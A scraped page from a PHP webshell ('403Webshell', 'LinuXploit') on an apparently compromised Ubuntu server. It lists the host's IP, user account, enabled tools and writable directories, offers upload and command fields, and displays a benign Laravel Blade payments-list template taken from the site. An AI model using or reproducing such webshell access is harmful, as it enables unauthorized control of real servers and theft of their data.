403Webshell
Server IP : 138.197.107.151  /  Your IP : 216.73.217.7
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux BloxBy-Builder 6.8.0-71-generic #71-Ubuntu SMP PREEMPT_DYNAMIC Tue Jul 22 16:52:38 UTC 2025 x86_64
User : wpbetasites_mrakzqskir ( 1022)
PHP Version : 8.3.6
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/shark/resources/views/payments/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/shark/resources/views/payments/list.blade.php
@extends('layouts.app',['title'=>$title])
@section('content')
<div class="main-content" id="result">
    
    <div class="page-content">
        <div class="container">
            <!-- start page title -->
            <div class="row">
                <div class="col-12">
                    <div class="page-title-box d-flex align-items-center justify-content-between">
                        <h4 class="mb-0 font-size-18">Payments List</h4>

                        
                    </div>
                </div>
            </div>     
            
            <div class="row">
                <div class="col-lg-12">
                    <div class="card">
                        <div class="card-body">
                            
                            <!-- end row -->
                            <div class="">
                                <div class="table-responsive">
                                    <div id="projectList-table_wrapper" class="dataTables_wrapper dt-bootstrap4 no-footer">
                                        
                                        <div class="row">
                                            <div class="col-sm-12">
                                                @php
                                                    $dir = request('dir', 'desc');
                                                    $col = request('col', 'created_at');
                                                @endphp
                                                <table class="table project-list-table align-middle table-nowrap dt-responsive nowrap w-100 table-borderless dataTable no-footer dtr-inline" id="projectList-table" aria-describedby="projectList-table_info" style="width: 1015px;">
                                                    <thead class="table-light">
                                                        <tr>
                                                           <th scope="col" class="sorting-disabled">
                                                                
                                                                    Website
                                                                
                                                            </th>

                                                            <th scope="col" class="sorting-disabled">
                                                                Amount
                                                            </th>

                                                           

                                                            <th scope="col" class="sorting_disabled">
                                                                
                                                                    Created At
                                                                    
                                                                
                                                            </th>
                                                            <th scope="col" class="sorting_disabled">
                                                                Status
                                                                
                                                            </th>
                                                            
                                                        </tr>
                                                    </thead>
                                                    <tbody>
                                                         @foreach ($payments as $index => $payment)
                                                        <tr>
                                                            <td>{{ $payment->website ? $payment->website->title : $payment->website_title }}</td>
                                                            <td>${{ $payment->invoice_total/100 }}</td>
                                                            <td>{{ $payment->created_at ? $payment->created_at->format('d M Y') : "N/A" }}</td>
                                                            <td>
                                                                {{ucwords($payment->status)}}
                                                                @if($payment->status=="succeeded")
                                                                <a href="{{route('invoices.download',['id'=>$payment->id])}}" target="_blank">View Invoice</a>
                                                                @endif
                                                            </td>
                                                            
                                                        </tr>
                                                        @endforeach
                                                        
                                                    </tbody>
                                                </table>
                                                @if($payments->isEmpty())
                                                    <p class="text-center text-muted">No payments found.</p>
                                                @endif
                                            </div>
                                        </div>
                                        @if(!$payments->isEmpty())
                                        <div class="row">
                                            <div class="col-sm-12 col-md-5">
                                                <div class="dataTables_info" id="projectList-table_info" role="status" aria-live="polite">Showing {{ $payments->firstItem() }} to {{ $payments->lastItem() }} of {{ $payments->total() }} entries</div>
                                            </div>
                                            <div class="col-sm-12 col-md-7">
                                                <div class="dataTables_paginate paging_simple_numbers pagination-rounded button-text-sec" id="projectList-table_paginate">
                                                    {{ $payments->links('pagination::bootstrap-4') }}
                                                </div>
                                            </div>
                                        </div>
                                        @endif
                                    </div>
                                </div>
                            </div>
                        </div>
                    </div>
                    <!-- end card -->
                </div>
            </div>
            <!-- end row -->
            
        </div> <!-- container-fluid -->
    </div>
</div>
@endsection
@push('topcss')
 <link href="{{ asset('assets/libs/datatables.net-bs4/css/dataTables.bootstrap4.min.css') }}" rel="stylesheet" type="text/css" />
<link href="{{ asset('assets/libs/datatables.net-responsive-bs4/css/responsive.bootstrap4.min.css') }}" rel="stylesheet" type="text/css" />  


@endpush
@push('scripts')
<script>
    const input = document.getElementById('searchTableList');
  const clearBtn = document.getElementById('clearSearch');

  clearBtn.style.display = $("#searchTableList").val() ? 'block' : 'none';

  input.addEventListener('input', function () {
    clearBtn.style.display = this.value ? 'block' : 'none';
  });

  clearBtn.addEventListener('click', function () {
    input.value = '';
    clearBtn.style.display = 'none';
    input.focus(); // optional: keep focus after clearing
  });
</script>
<script>
    var clicked_confirm_action = null;

    $(".show_confirm_message").click(function(e){
        e.preventDefault();

        clicked_confirm_action = $(this);

        $("#confirmModal").find(".modal-body").html($(this).attr("data-confirm-msg"));

        $("#confirmModal").modal("show");

        

    })
    $("#confirmYesBtn").click(function(){
        clicked_confirm_action.closest("form").submit();
    })
</script>
@endpush

Youez - 2016 - github.com/yon3zu
LinuXploit